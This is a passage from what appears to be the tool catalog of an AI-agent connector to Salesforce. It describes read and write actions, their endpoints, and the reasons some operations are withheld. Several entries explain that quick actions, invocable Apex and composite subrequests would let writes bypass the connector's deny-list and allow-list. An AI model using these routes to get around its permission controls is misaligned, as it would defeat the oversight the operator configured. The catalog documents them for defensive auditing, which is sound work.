and whose most common damage is duplicate contacts — damage Agentic Fabriq cannot undo, because merging records is not something the REST API offers. The organisation already owns the definition of 'the same person'; this asks it rather than guessing. POST /api/v1/tools/salesforce/ui/duplicates. Scopes: api. salesforce_get_app (read) — Return one Lightning app's metadata and navigation bar — or, with no app id, the app the connected user last selected or sees by default. TWO Salesforce resources behind ONE action, because the second is the first with a fixed word in place of the id. Leaving the id out is the orientation read for an agent asked to do something 'here': which application the person is in decides which navigation items and which list views are the relevant ones. GET /api/v1/tools/salesforce/ui-api/app. Scopes: api. salesforce_get_blob (read) — Download the contents of a binary field — an attachment's body, a file's version data — returned base64 encoded with its size and content type. Agentic Fabriq refuses files above a fixed ceiling, because the contents pass through the tool result and into the agent's context window, and base64 inflates them by a third. The size is named in the refusal so a caller knows why. GET /api/v1/tools/salesforce/blob. Scopes: api. salesforce_get_chatter_group (read) — Read one Chatter group's information — its name, description, membership count and visibility. Read-only. GET /api/v1/tools/salesforce/chatter/group. Scopes: api. salesforce_get_chatter_user (read) — Read one Salesforce user's profile — name, title, manager, contact details — defaulting to the connected user. This is NOT the identity scope by another name: Agentic Fabriq deliberately does not request Salesforce's `id` scope, and this returns the org's own user record rather than identity-service claims. It is what a summary needs when it has to say who owns a record. GET /api/v1/tools/salesforce/chatter/user. Scopes: api. salesforce_get_community (read) — Read one Experience Cloud site's information — its name, status, URL and description. Read-only. GET /api/v1/tools/salesforce/connect-api/community. Scopes: api. salesforce_get_connect_file_info (read) — Read one file's metadata — title, owner, type, size and version history — WITHOUT downloading it. The distinction is the point: the bytes come from the file-download action, which refuses anything over a fixed ceiling because the contents pass into the agent's context window. This is the call that tells an agent how big a file is before it asks for it. GET /api/v1/tools/salesforce/connect-api/file. Scopes: api. salesforce_get_connect_organization (read) — Read the organisation's Connect-level settings and branding. Read-only reference data. GET /api/v1/tools/salesforce/connect-api/organization. Scopes: api. salesforce_get_consent_status (read) — Ask whether specific people have consented to one kind of processing — being emailed, tracked, geo-tracked, profiled, solicited. Salesforce aggregates this across Individual, Contact, Lead and the rest and returns a single answer, which is the whole point: an agent that decides to send because a field looked empty has made a decision the organisation already recorded an answer to. Read-only, and arguably the call that should precede any outbound action. GET /api/v1/tools/salesforce/consent/action. Scopes: api. salesforce_get_dashboard (read) — Return one dashboard's components and the results they last computed — which may be hours old, because a dashboard shows a cached snapshot until somebody refreshes it. Refreshing is a separate action. GET /api/v1/tools/salesforce/dashboard. Scopes: api. salesforce_get_dashboard_status (read) — Report whether a dashboard refresh has finished. This closes a hole that was shipped knowingly: refreshing a dashboard is ASYNCHRONOUS and answers immediately, so without this an agent that refreshes and then reads gets the stale snapshot and presents it as current. Read-only and cheap. GET /api/v1/tools/salesforce/dashboard/status. Scopes: api. salesforce_get_data_category_detail (read) — Return one data category's child categories and the number of articles filed under each. Read-only reference metadata for navigating a Knowledge taxonomy. GET /api/v1/tools/salesforce/knowledge/data-category. Scopes: api. salesforce_get_deleted (read) — List the ids of records DELETED in a time window, with each one's deletion date. The other half of incremental sync: without it, a downstream system cannot tell a deleted record from one it simply did not see. Salesforce limits the lookback to 15 days, which is the same 15 days the Recycle Bin holds — after that the record is gone and so is the record of its deletion. GET /api/v1/tools/salesforce/deleted. Scopes: api. salesforce_get_duplicate_config (read) — Return the org's duplicate-matching configuration for one object — which matching rules an administrator defined and what they compare. Read-only, and it is what makes a duplicate check's result interpretable rather than a bare list of ids. GET /api/v1/tools/salesforce/ui/duplicates/config. Scopes: api. salesforce_get_event_schema (read) — Return the schema of a platform event or change event. This is the audit read behind one of Agentic Fabriq's own restrictions: PUBLISHING a platform event is refused, because in Salesforce creating an event record IS publishing it and a published event triggers Apex, flows and every external subscriber. Reading the definition is not refused — an administrator asking what an agent would have been able to fire needs the schema to answer. GET /api/v1/tools/salesforce/event-schema. Scopes: api. salesforce_get_feed_comments (read) — Read the comments on one feed element, with paging. Read-only; commenting is not offered, for the same reason posting is not. GET /api/v1/tools/salesforce/chatter/feed-comments. Scopes: api. salesforce_get_feed_element (read) — Read one feed element — a post, a shared link, or a tracked field change — by its id. Read-only. GET /api/v1/tools/salesforce/chatter/feed-element. Scopes: api. salesforce_get_global_actions (read) — Return the actions in the org's global actions menu — the plus menu — with their metadata. READ ONLY, and the absence of an invoke counterpart is deliberate rather than an omission: a quick action names its target object in its own DEFINITION rather than in the call, so invoking one is a create or update on an object Agentic Fabriq's write deny-list never sees. Listing them is how an operator audits what the org exposes. GET /api/v1/tools/salesforce/ui-api/actions/global. Scopes: api. salesforce_get_knowledge_article (read) — Read one Knowledge article in full, including its body and its data categories. Read-only, and it returns the PUBLISHED version — the one a customer would be shown — rather than a draft. GET /api/v1/tools/salesforce/knowledge/article. Scopes: api. salesforce_get_limits (read) — Report the Salesforce org's current limit consumption, above all DailyApiRequests. Salesforce meters a rolling 24-hour ORG-WIDE request allocation shared by every integration connected to that org, and exhausting it returns 403 REQUEST_LIMIT_EXCEEDED for hours with no way to reset it. Call this BEFORE a bulk operation, not after. GET /api/v1/tools/salesforce/limits. Scopes: api. salesforce_get_list_info (read) — Return an object's list views as metadata alone, with a SEARCH TERM and a recently-used filter the other list-view actions have no parameter for. On a customised org with two hundred Account list views, 'the one with renewal in the name' is the only usable way in. Read-only. GET /api/v1/tools/salesforce/ui-api/list-info. Scopes: api. salesforce_get_list_info_batch (read) — Return the metadata for several list views in one request. Read-only. GET /api/v1/tools/salesforce/ui-api/list-info/batch. Scopes: api. salesforce_get_list_records (read) — Return one list view's records without its layout metadata, with paging. The cheap half of the list-view display action, for paging through a list an agent has already inspected once. GET /api/v1/tools/salesforce/ui/list-records. Scopes: api. salesforce_get_list_ui (read) — Return an object's list views, or one list view together with the columns the org displays and the records formatted against them. This deliberately overlaps with the plainer list-view actions and is not a duplicate of them: those return the REST API's shape — ids, the underlying query, raw rows — and this returns what a person sitting in Salesforce would see. An agent asked to reproduce a list the way a colleague sees it needs this one. GET /api/v1/tools/salesforce/ui/list-ui. Scopes: api. salesforce_get_list_view_actions (read) — Return the header actions on one or more list views. Read-only. GET /api/v1/tools/salesforce/ui-api/actions/list-view. Scopes: api. salesforce_get_localized_values (read) — Return one record's translated field values. In a multi-language org the stored value and the value a user reads are different strings, and a summary built on the stored one is wrong in a way nobody notices until a customer reads it. Read-only. GET /api/v1/tools/salesforce/localized-values. Scopes: api. salesforce_get_lookup_info (read) — Return which objects a lookup or relationship field may point at, and how the org filters what qualifies. A polymorphic lookup can target several objects, and an administrator's lookup filter can narrow which records are acceptable. An agent that sets a relationship field by guessing an id is the write that fails with a message about an invalid cross-reference; this is the read that prevents it. GET /api/v1/tools/salesforce/ui/lookup-info. Scopes: api. salesforce_get_lookup_records (read) — Search the records a specific lookup field would actually accept, honouring the org's lookup filter. This is the id-producing read for every relationship write in this connector — until now the only way to fill a lookup was a general query that did not know about the field's filter, so an agent could find an id, set it, and be rejected. A write whose arguments no read can supply is not a shipped feature; this closes that for the whole relationship surface at once. GET /api/v1/tools/salesforce/ui/lookup-records. Scopes: api. salesforce_get_mru_list_records (read) — Return the 'Recently Viewed' records for one object, rows only, with paging. Read-only and cheap. GET /api/v1/tools/salesforce/ui/mru-list-records. Scopes: api. salesforce_get_mru_list_ui (read) — Return the 'Recently Viewed' list for one object together with its display columns. Salesforce models this list as its own resource rather than as a saved list view, so it needs its own action. It pairs with the recently-viewed records action: that one answers which records, this one answers which records in the columns this org shows. GET /api/v1/tools/salesforce/ui/mru-list-ui. Scopes: api. salesforce_get_multiaction_consent (read) — Ask about several kinds of consent for several people in ONE request. Read-only, and cheaper than one call per action against the org's shared allocation. GET /api/v1/tools/salesforce/consent/multiaction. Scopes: api. salesforce_get_news_feed (read) — Read the connected user's own Chatter news feed. Read-only, and bounded by what that user can already see. Posting is not offered. GET /api/v1/tools/salesforce/chatter/news-feed. Scopes: api. salesforce_get_object_actions (read) — Return the actions the org offers for one or more objects on a named surface: 'lookup' is the record picker on a lookup field, where the org may let a person create the missing record inline, and 'mru-list' is the header of the object's 'Recently Viewed' list. TWO Salesforce resources behind ONE action, because both are addressed by object names and differ only in a fixed part of the address — the same way the layout describe covers four resources through one 'layout_type' argument. READ ONLY, and the absence of an invoke counterpart is deliberate: a quick action names its target object in its own definition rather than in the call, so invoking one is a write Agentic Fabriq's deny-list never sees. GET /api/v1/tools/salesforce/ui-api/actions/object. Scopes: api. salesforce_get_object_info (read) — Return one object's user-interface metadata: the org's own labels for it, its key prefix, and its record types. Smaller than a full field describe and it carries labels rather than API names, which is what an agent needs when it is talking to a person. It is also the only action that produces a RECORD TYPE ID, which the picklist actions require. GET /api/v1/tools/salesforce/ui/object-info. Scopes: api. salesforce_get_password_expiration_status (read) — Report whether one Salesforce user's password has expired. READ ONLY, and the distinction from the operation Agentic Fabriq refuses is the whole reason this is offered: SETTING or RESETTING a password on the same Salesforce sub-resource is full account takeover inside your org from a CRM tool grant, and Agentic Fabriq offers no action that does it. This one returns a single expiry flag. It hands over no credential, reveals no password and changes nothing. The user object in the path is fixed in Agentic Fabriq's code rather than taken from the call, so this read cannot be aimed at another resource. GET /api/v1/tools/salesforce/user/password-status. Scopes: api. salesforce_get_picklist_values (read) — Return the values one picklist field accepts for one record type. This is the fix for the most common silent write failure against Salesforce: describing an object returns the field's GLOBAL value set, and Salesforce filters picklist values per record type, so a describe will happily show a value the record you are about to create cannot use. The write is rejected, the agent guesses again, and the org's API allocation pays for both attempts. GET /api/v1/tools/salesforce/ui/picklist-values. Scopes: api. salesforce_get_picklist_values_by_record_type (read) — Return the values EVERY picklist field on an object accepts for one record type, in one request. The batched form of the single-field lookup, for an agent about to build a whole record rather than set one field. GET /api/v1/tools/salesforce/ui/picklist-values/all. Scopes: api. salesforce_get_quick_action_defaults (read) — Return the field values a quick action would pre-fill. READ ONLY, and it completes the read side of a surface Agentic Fabriq deliberately never runs: a quick action writes to an object named in the action's own DEFINITION rather than in the call, so the restrictions that stop a write reaching an identity or configuration object would not be able to see it. Being able to inspect what an action would do is how an administrator audits what the org has exposed. GET /api/v1/tools/salesforce/quick-action/defaults. Scopes: api. salesforce_get_record (read) — Read one Salesforce record by its 15- or 18-character id. Name the fields you need: omitting them returns every field the connected user may see, which on a customised Account can be several hundred columns of customer data. GET /api/v1/tools/salesforce/record. Scopes: api. salesforce_get_record_actions (read) — Return the actions the org displays for one or more records on a named surface — the record page ('detail'), the edit screen ('record-edit', which Salesforce answers with a DIFFERENT set), one related list on the page ('related-list'), or a user or group photo ('photo'). FOUR Salesforce resources behind ONE action, because all four are addressed by record ids and differ only in a fixed part of the address. READ ONLY: this answers 'what could I do with this record' in your org's own vocabulary, and Agentic Fabriq offers nothing that fires one of the actions it lists, because a quick action names its target object in its own definition rather than in the call and so would be a write the deny-list never sees. GET /api/v1/tools/salesforce/ui-api/actions/record. Scopes: api. salesforce_get_record_by_external_id (read) — Read one record using the id it carries in ANOTHER system — an ERP number, a billing account reference — rather than its Salesforce id, matched on a field marked External ID. The read that makes an upsert safe to reason about: it answers 'does Salesforce already know this' without a query and without guessing. GET /api/v1/tools/salesforce/record/external-id. Scopes: api. salesforce_get_record_count (read) — Report approximate record counts for named objects, or for every object the org counts, in ONE request — where the query equivalent is one count per object. Approximate by design: Salesforce serves it from internal statistics rather than counting rows, so treat it as an order of magnitude. It is the call that tells an agent whether 'update every contact' means 40 records or four million, before it starts. GET /api/v1/tools/salesforce/record-count. Scopes: api. salesforce_get_record_create_defaults (read) — Return the field values and layout a NEW record of this type would start from — what the org pre-fills, which fields are required, which are read-only on create. It reads only and creates nothing. This is the check that turns a rejected create into a correct one on the first attempt, which matters because a failed create still spends one of the org's API requests and may still have fired validation rules. GET /api/v1/tools/salesforce/ui/record-defaults. Scopes: api. salesforce_get_record_feed (read) — Read the Chatter feed attached to one record — the posts, comments and tracked field changes on it. Worth having because the feed is very often where the DECISION behind a record was actually made: the record says the opportunity closed lost, the feed says why, and who agreed. READ ONLY. Agentic Fabriq offers no action that posts to Chatter, because a post is visible to the whole org and is not recallable once notifications have fanned out. GET /api/v1/tools/salesforce/chatter/record-feed. Scopes: api. salesforce_get_record_ui (read) — Read up to 200 records together with the layout the organisation actually displays them in — which fields, in what order, under what labels, with picklist values already resolved. This answers a question that describing an object cannot: a describe lists every field that EXISTS, which on a customised Account runs to several hundred, while this lists the ones the org decided are worth showing. For summarising a record it is a far better default than 'every column', and it costs one request rather than two. GET /api/v1/tools/salesforce/ui/record-ui. Scopes: api. salesforce_get_records (read) — Read up to 200 records by id in ONE API request instead of 200. Directly in service of the constraint that matters most for Salesforce: the org meters a rolling 24-hour allocation shared by every integration connected to it, and an agent looping over query results is the fastest way to exhaust it. The field list is required rather than optional here, which also avoids returning every column the connected user may see, multiplied by 200. GET /api/v1/tools/salesforce/records. Scopes: api. salesforce_get_records_batch (read) — Read several records that belong to DIFFERENT objects in one request. This is not a duplicate of the existing multi-record read: that one addresses a collection of a single object type and every id in the batch must belong to it, which is why the batch delete has to check key prefixes. This takes a mixed bag of ids, which is the shape an agent actually holds after a SOSL search or after reading a feed — and which it would otherwise have to sort by key prefix and fetch in one call per object. GET /api/v1/tools/salesforce/ui-api/records/batch. Scopes: api. salesforce_get_related_list_info (read) — Return one related list's DISPLAY definition on a parent object — its columns, its sort, its label. Describing an object returns every child relationship the schema has, which on a customised Account runs to dozens; this returns the one the org actually puts on the page. Same distinction the list-view display action draws against the plainer list-view metadata. GET /api/v1/tools/salesforce/ui-api/related-list-info. Scopes: api. salesforce_get_related_list_preferences (read) — Return the connected user's own display preferences for one related list — column widths, text wrapping, ordering, sort. Personal display state; no business data. Read-only, and it is the read that makes the paired write reversible, because it returns the values to put back. GET /api/v1/tools/salesforce/ui-api/related-list-preferences. Scopes: api. salesforce_get_related_list_preferences_batch (write) — Return the display preferences for several related lists in ONE request against the org's shared 24-hour allocation, where the single-list form is one request per list. POST /api/v1/tools/salesforce/ui-api/related-list-preferences/batch. Scopes: api. salesforce_get_related_list_records (read) — Return one related list's records in the columns the org displays, with paging. Overlaps deliberately with the plainer related-records action and is not a duplicate of it: that one traverses the relationship through the REST API and returns its shape, and this returns the related list the way the page renders it. An agent asked to reproduce what a colleague sees needs this one. GET /api/v1/tools/salesforce/ui-api/related-list-records. Scopes: api. salesforce_get_related_records (read) — Return the child records on one relationship — the contacts on an account, the opportunities on a lead. This replaces a hand-composed SOQL parent-child subquery, which is the highest-error-rate thing an agent does against Salesforce: the relationship naming rules differ between standard and custom objects and the grammar is easy to get subtly wrong. Read-only, and bounded by the same field-level security and sharing rules as every other read. Use 'Describe an object's fields' to see which relationship names exist. GET /api/v1/tools/salesforce/related-records. Scopes: api. salesforce_get_report_filter_operators (read) — List the filter operators valid for each field type in a report. Reference metadata; read-only and cheap. GET /api/v1/tools/salesforce/report/filter-operators. Scopes: api. salesforce_get_report_instance (read) — Collect the results of a report that was queued rather than run synchronously — the right shape for a report large enough to time out. Salesforce retains an instance for a limited window and then discards it, so a report queued and never collected has spent one of the org's API requests for nothing. GET /api/v1/tools/salesforce/report/instance. Scopes: api. salesforce_get_rich_text_image (read) — Download an image embedded in a rich text field, returned base64 encoded with its size and content type. Agentic Fabriq refuses anything above a fixed ceiling, because the contents pass through the tool result into the agent's context window and base64 inflates them by a third. An image is exactly the payload that is large without looking it. GET /api/v1/tools/salesforce/rich-text-image. Scopes: api. salesforce_get_search_layouts (read) — Return the columns the org shows in search results for each named object. Useful for rendering a search result the way the org's own users would recognise it. GET /api/v1/tools/salesforce/search/layouts. Scopes: api. salesforce_get_search_scope_order (read) — Return the objects the connected user searches most often, in Salesforce's own ranking. It answers 'which objects does this person actually work in', which is a far better default for an unqualified search than every object in the org. GET /api/v1/tools/salesforce/search/scope-order. Scopes: api. salesforce_get_search_suggestions (read) — Return record suggestions for a partial search term, as the platform's own search box does. The point for an agent is disambiguation: 'the Acme account' is often three accounts, and this is the cheap call that finds that out before a write picks one of them at random. GET /api/v1/tools/salesforce/search/suggestions. Scopes: api. salesforce_get_sobject_basic_info (read) — Return one object's summary metadata — its label, key prefix and whether it is createable, updateable and deletable — plus the records of that type the connected user viewed most recently. Far cheaper than a full field describe, which on a heavily customised Account runs to hundreds of kilobytes, and enough for the common question, which is 'does this object exist in this org and may I create one'. The recent-items half is a free source of record ids. GET /api/v1/tools/salesforce/sobject. Scopes: api. salesforce_get_theme (read) — Return the org's own icon and colour for each object. Useful when rendering a summary in the org's visual language rather than an invented one. Read-only. GET /api/v1/tools/salesforce/theme. Scopes: api. salesforce_get_tooling_record (read) — Read one Tooling record by id — an Apex class, a flow, a validation rule. Read-only. Reading the types whose configuration can contain stored credentials — named credentials, external data sources, connected applications, certificates, single sign-on configuration — is refused, because that configuration can carry authentication material and Salesforce does not document masking per field. Everything else in the Tooling tree is readable. Agentic Fabriq offers no action that WRITES to the Tooling API: deploying code is executing it later, on somebody else's trigger. GET /api/v1/tools/salesforce/tooling/sobjects/record. Scopes: api. salesforce_get_topic (read) — Read one topic's details. Read-only. GET /api/v1/tools/salesforce/connect-api/topic. Scopes: api. salesforce_get_updated (read) — List the ids of records created or updated in a time window, with a cursor marking exactly how far the answer is guaranteed to cover. The incremental-sync primitive. It overlaps with a query on the last-modified date but is not the same call: this one is served from the platform's own change index and returns that cursor, which a hand-written date filter has no equivalent for — an agent that invents one will silently drop records written while the query was running. Salesforce limits the lookback to 30 days. GET /api/v1/tools/salesforce/updated. Scopes: api. salesforce_list_api_versions (read) — List the REST API versions this org supports. The call to make when everything else returns 'not found': Agentic Fabriq pins an API version deliberately behind the current release, and a sandbox upgraded on a different calendar from production can sit behind that pin. A sensible answer here alongside failures everywhere else identifies that situation, which is otherwise indistinguishable from a broken connection. GET /api/v1/tools/salesforce/api-versions. Scopes: api. salesforce_list_app_menu (read) — List the apps or tabs in one of the org's navigation menus. Read-only. GET /api/v1/tools/salesforce/app-menu. Scopes: api. salesforce_list_approval_requests (read) — Return the org's approval processes and the approval requests awaiting the connected user. This is the action that produces the work item id the approve/reject/recall action needs — nothing else does, so without this that action would be one whose arguments no read can supply. GET /api/v1/tools/salesforce/approvals. Scopes: api. salesforce_list_apps (read) — List the Lightning apps the connected user has access to. Nothing in this connector could name an app before: listing tabs returns the REST API's tab metadata and listing navigation items returns the CURRENT app's menu, and neither answers which applications this person actually has. It is also the only source of the app id the other actions in this family require. GET /api/v1/tools/salesforce/ui-api/apps. Scopes: api. salesforce_list_chatter_group_members (read) — List the members of one Chatter group. Read-only. Note that JOINING or adding somebody to a group is an access-control change and is not offered. GET /api/v1/tools/salesforce/chatter/group/members. Scopes: api. salesforce_list_chatter_groups (read) — List the Chatter groups visible to the connected user, optionally filtered by a search term. Read-only. GET /api/v1/tools/salesforce/chatter/groups. Scopes: api. salesforce_list_chatter_users (read) — List Chatter user profiles, optionally filtered by a search term. Read-only, and subject to the connected user's own visibility. GET /api/v1/tools/salesforce/chatter/users. Scopes: api. salesforce_list_cms_channels (read) — List the Salesforce CMS delivery channels the org publishes through. Read-only, and the action that produces the channel id the content listing needs. GET /api/v1/tools/salesforce/connect-api/cms/channels. Scopes: api. salesforce_list_cms_contents (read) — List the published content in one Salesforce CMS delivery channel. Read-only. Publishing content is outward, one-way exposure to people outside the organisation and is not offered. GET /api/v1/tools/salesforce/connect-api/cms/contents. Scopes: api. salesforce_list_communities (read) — List the Experience Cloud sites — customer and partner communities — configured in the org. A READ of a surface whose writes are excluded: knowing a site exists and what it is called is what lets an agent explain where a record came from, while posting into one exposes content to people outside the organisation and is not offered. GET /api/v1/tools/salesforce/connect-api/communities. Scopes: api. salesforce_list_compact_layouts (read) — Return the compact layout — the org's own answer to 'which few fields identify this record' — for several objects in one request. The best available default field set for a summary, and one call instead of one per object. GET /api/v1/tools/salesforce/compact-layouts. Scopes: api. salesforce_list_dashboards (read) — List the dashboards available to the connected user. Produces the dashboard id every other dashboard action needs. GET /api/v1/tools/salesforce/dashboards. Scopes: api. salesforce_list_data_category_groups (read) — List the data category groups that classify Knowledge articles and cases. Data categories are how an organisation files its Knowledge, so this is what turns 'find an article about billing' into a filter rather than a full-text guess. Read-only. GET /api/v1/tools/salesforce/knowledge/data-categories. Scopes: api. salesforce_list_favorites (read) — List the records, list views and reports the connected user has marked as favorites. Read-only, and a free source of the ids this person works with most. GET /api/v1/tools/salesforce/ui/favorites. Scopes: api. salesforce_list_file_shares (read) — List the people, groups and records a Salesforce Files document has been shared with. The audit read for the file family: an agent about to quote from a file, or an operator answering 'who can see this', had no way to ask. GET /api/v1/tools/salesforce/connect-api/file/shares. Scopes: api. salesforce_list_invocable_actions (read) — List the invocable actions this org exposes — standard actions, custom Apex actions, autolaunched flows, email alerts and quick actions. THIS IS AN AUDIT READ AND IT LISTS THINGS AGENTIC FABRIQ WILL NOT RUN. Salesforce automatically publishes every invocable Apex method in an org at this surface, and it is reachable by anything holding the same API permission this connection uses — Agentic Fabriq's own action list is what declines to call it, not the permission you granted. Being able to SEE that list is what lets an administrator decide whether this connection should exist, so the list ships and the execution does not. GET /api/v1/tools/salesforce/invocable-actions. Scopes: api. salesforce_list_knowledge_articles (read) — List the organisation's published Knowledge articles, optionally filtered by a search term. The read a support agent cannot work without: answering a customer from the org's own approved article is the difference between support and a language model improvising policy. Read-only, in the language you ask for. GET /api/v1/tools/salesforce/knowledge/articles. Scopes: api. salesforce_list_listviews (read) — List the saved list views defined on one object — 'My Open Cases', 'Q3 Pipeline'. These are the filters the humans in the org already use and already trust, so reaching them gives an agent the organisation's own definition of a segment instead of a filter it invented. GET /api/v1/tools/salesforce/listviews. Scopes: api. salesforce_list_managed_topics (read) — List one Experience Cloud site's managed topics — the navigation taxonomy customers see. Read-only; managing them is a configuration change and is not offered. GET /api/v1/tools/salesforce/connect-api/community/managed-topics. Scopes: api. salesforce_list_nav_items (read) — List the navigation menu items available to the connected user. Overlaps with listing tabs and is not the same answer: tabs are the REST API's metadata, this is what this person's navigation menu actually contains on a given screen size. GET /api/v1/tools/salesforce/ui/nav-items. Scopes: api. salesforce_list_nouns (read) — Return the organisation's own singular and plural labels for every object. More useful than it sounds in a renamed org: a customer who renamed 'Account' to 'Practice' has agents that keep saying 'account' to people who have not used that word in ten years. Read-only. GET /api/v1/tools/salesforce/nouns. Scopes: api. salesforce_list_object_info (read) — Return the display metadata for several objects in ONE request. An agent orienting itself in an unfamiliar org needs Account, Contact, Opportunity and Case at once; this is one call against the org's shared 24-hour allocation where the single-object form is four. GET /api/v1/tools/salesforce/ui/object-info/batch. Scopes: api. salesforce_list_process_rules (read) — List the org's active workflow rules, for one object or for all of them. A diagnostic read: when a create or update through Agentic Fabriq produces an effect nobody asked for — an email sent, a field overwritten seconds later, an owner reassigned — an active workflow rule is usually why, and this is the call that names it. It is also the honest detail behind every write action's warning that Salesforce runs rules on insert and update. GET /api/v1/tools/salesforce/process-rules. Scopes: api. salesforce_list_quick_actions (read) — List the quick actions defined on an object, or the org's global ones. READ ONLY: Agentic Fabriq deliberately offers no action that RUNS a quick action, because a quick action writes to an object named in the action's own definition rather than in the call — so the restrictions that stop a write reaching an identity or configuration object would not be able to see it. Listing them is how an administrator audits what exists. GET /api/v1/tools/salesforce/quick-actions. Scopes: api. salesforce_list_recent (read) — List the records the connected user viewed most recently, across objects. A free source of record ids, and the call that resolves the most common under-specified request there is: 'update the account I was just looking at'. GET /api/v1/tools/salesforce/recent. Scopes: api. salesforce_list_report_instances (read) — List the queued and completed asynchronous runs of one report, with each one's status. Read-only. GET /api/v1/tools/salesforce/report/instances. Scopes: api. salesforce_list_report_notifications (read) — List the connected user's report notification subscriptions. This is a READ of standing rules, not a way to create one — Agentic Fabriq deliberately offers no action that subscribes or unsubscribes, because a rule that acts on its own has no action row behind each of its consequences. GET /api/v1/tools/salesforce/report/notifications. Scopes: api. salesforce_list_reports (read) — List the reports available to the connected user. Report ids are not guessable and no other action produces one, so this is required before a report can be run. Needs no add-on licence — the reports API is part of standard Salesforce functionality, not the separately-licensed analytics product. GET /api/v1/tools/salesforce/reports. Scopes: api. salesforce_list_resources (read) — List the REST resources Salesforce publishes at the pinned API version. This is the provider's own index of its API, so it is the honest answer to 'what does this connection's permission actually cover' — a larger question than 'what actions has this agent been granted', and one an administrator auditing the connection should be able to answer without taking Agentic Fabriq's word for it. GET /api/v1/tools/salesforce/resources. Scopes: api. salesforce_list_rest_directory (read) — List the resources one Salesforce REST tree publishes at the pinned API version — Chatter, Support, Composite or Connect. The top-level index action returns the root; each of these trees publishes its own sub-index, and that sub-index is the cheap, ORG-SPECIFIC answer to 'does this org actually expose the thing I am about to call'. The composite entry is a DIRECTORY READ and not a composite call: it sends no body, and the tree it reads is chosen from a fixed list of four rather than from a path the caller supplies. Executing a composite, batch or graph request remains unavailable through Agentic Fabriq, because a subrequest names an arbitrary REST path and one granted action would re-expose the whole API inside a payload the allow-list never inspects. Reading that the org publishes those endpoints is how an operator confirms the gap is Agentic Fabriq's choice. GET /api/v1/tools/salesforce/directory. Scopes: api. salesforce_list_sobjects (read) — List every object this Salesforce org exposes, standard and custom, with each one's API name, label, key prefix and whether it is createable, updateable, deletable and queryable. Object API names are NOT guessable — custom objects end __c and may carry a managed-package namespace — so this is the discovery call to make first in an org you do not know. GET /api/v1/tools/salesforce/sobjects. Scopes: api. salesforce_list_tabs (read) — List the tabs available to the connected user, grouped by app. Read-only navigation metadata. GET /api/v1/tools/salesforce/tabs. Scopes: api. salesforce_list_tooling_sobjects (read) — List the object types Salesforce's Tooling API exposes in this org. Read-only reference metadata, and the action that tells you what the Tooling query and record actions can address. GET /api/v1/tools/salesforce/tooling/sobjects. Scopes: api. salesforce_list_topics (read) — List the org's Chatter topics, optionally filtered by a search term. Topics are how an org tags conversations, so they are a useful way into 'what has been said about renewals'. Read-only. GET /api/v1/tools/salesforce/connect-api/topics. Scopes: api. salesforce_parameterized_search (read) — Search across objects by passing the term, the objects and the fields as separate parameters, instead of composing a SOSL statement as a string. The structured alternative to the text search action: same underlying search, but the grammar an agent most often gets wrong is assembled by Salesforce rather than by the agent. Both are available, because SOSL can express things the parameter form cannot. GET /api/v1/tools/salesforce/parameterized-search. Scopes: api. salesforce_process_approval_request (write, destructive) — DESTRUCTIVE — record a decision on an approval request: approve it, reject it, or recall a submission. The irreversibility is not data loss, it is process: a rejected request is CLOSED, and re-submitting creates a new request with a new history rather than restoring the old one. Approving also fires whatever final-approval actions the administrator configured — field updates, outbound messages, email alerts to people the agent never named. This addresses an approval WORK ITEM, not a record: use 'List approval requests' to get one. POST /api/v1/tools/salesforce/approvals/decision. Scopes: api. salesforce_refresh_dashboard (read) — Re-run every component of one dashboard against current data. It changes no record, so it is not marked destructive — but it is the most expensive read Agentic Fabriq offers for Salesforce: one call runs every query behind every component, and Salesforce caps how many dashboard refreshes an org may run at once, so an agent looping on this will fail for everyone in the org. POST /api/v1/tools/salesforce/dashboard/refresh. Scopes: api. salesforce_run_dashboard_with_filters (write) — Run a dashboard with filters supplied for this run and return its results. A READ despite being sent as a POST: the filters travel in the body because there are several of them, nothing is saved, and the dashboard's own definition is untouched. The refresh action re-runs the dashboard as SAVED; this answers 'the same dashboard, but only EMEA'. POST /api/v1/tools/salesforce/dashboard/run. Scopes: api. salesforce_run_listview (read) — Run one saved list view and return its rows, with paging. Read-only, and bounded by the connected user's own permissions and sharing rules like every other read. GET /api/v1/tools/salesforce/listview/results. Scopes: api. salesforce_run_report (read) — Run an EXISTING, administrator-authored report and return its results. Reports encapsulate the org's real definition of 'pipeline', 'at risk' or 'churn' — the groupings, the date logic, the exclusions somebody argued about — which an agent asked the same question in SOQL will otherwise reinvent and get subtly wrong. Constrained to EXECUTING a report by id: cloning a report and rewriting a saved report's definition are not available through Agentic Fabriq, because a rewritten report silently changes what every human in the org sees. Needs no add-on licence. A large report is one of the more expensive single calls an org can make. GET /api/v1/tools/salesforce/report/run. Scopes: api. salesforce_run_report_async (write) — Start a report running asynchronously and return the instance id to collect its results from later. This closes a hole rather than adding a family: the actions that LIST report instances and READ one have existed since the first Salesforce wave, and nothing in this catalog could CREATE an instance — so both could only ever read instances some other client had started. It is also the answer for a report large enough that the synchronous run times out. The saved report definition is not modified; per-run filter overrides apply to this run only and are not saved. POST /api/v1/tools/salesforce/report/run-async. Scopes: api. salesforce_soql_query (read) — Run one SOQL SELECT against the connected Salesforce org. START HERE: Salesforce record ids are not guessable and every other action needs one, so a query like 'SELECT Id, Name FROM Account LIMIT 10' is the first call to make. SOQL is read-only by construction — the language has no INSERT, UPDATE or DELETE and Salesforce rejects statement chaining — and FOR UPDATE, UPDATE TRACKING and UPDATE VIEWSTAT are refused because they are the clauses that are not reads. Salesforce returns at most 2000 records per page; when 'done' is false, pass the returned 'nextRecordsUrl' back as next_records_url to get the next page. GET /api/v1/tools/salesforce/query. Scopes: api. salesforce_sosl_search (read) — Run one SOSL text search across several Salesforce objects at once. Use it when you know a name or a phrase but not which object holds it; use salesforce_soql_query when you know the object. Read-only — SOSL has no write form at all. GET /api/v1/tools/salesforce/search. Scopes: api. salesforce_submit_for_approval (write) — Submit one record into an approval process, optionally naming the process, a comment and the next approver. It changes no field, so it is not marked destructive — but it is outward-effecting: it puts an item in a real person's queue and Salesforce emails them. Its inverse is granted separately and ships alongside it: the approve/reject action's 'Removed' option recalls a submission, so this is not a one-way door. POST /api/v1/tools/salesforce/approvals/submit. Scopes: api. salesforce_suggest_knowledge_titles (read) — Suggest Knowledge articles whose titles match a partial term, as the platform's own search box does. The cheap disambiguation read for Knowledge — the same shape as record suggestions, and the right first call before pulling a whole article body into an agent's context. GET /api/v1/tools/salesforce/knowledge/title-suggestions. Scopes: api. salesforce_tooling_query (read) — Run a READ-ONLY query against Salesforce's Tooling objects — Apex classes and triggers, flows, validation rules, layouts. Same restrictions as the ordinary query action: SELECT statements only, no 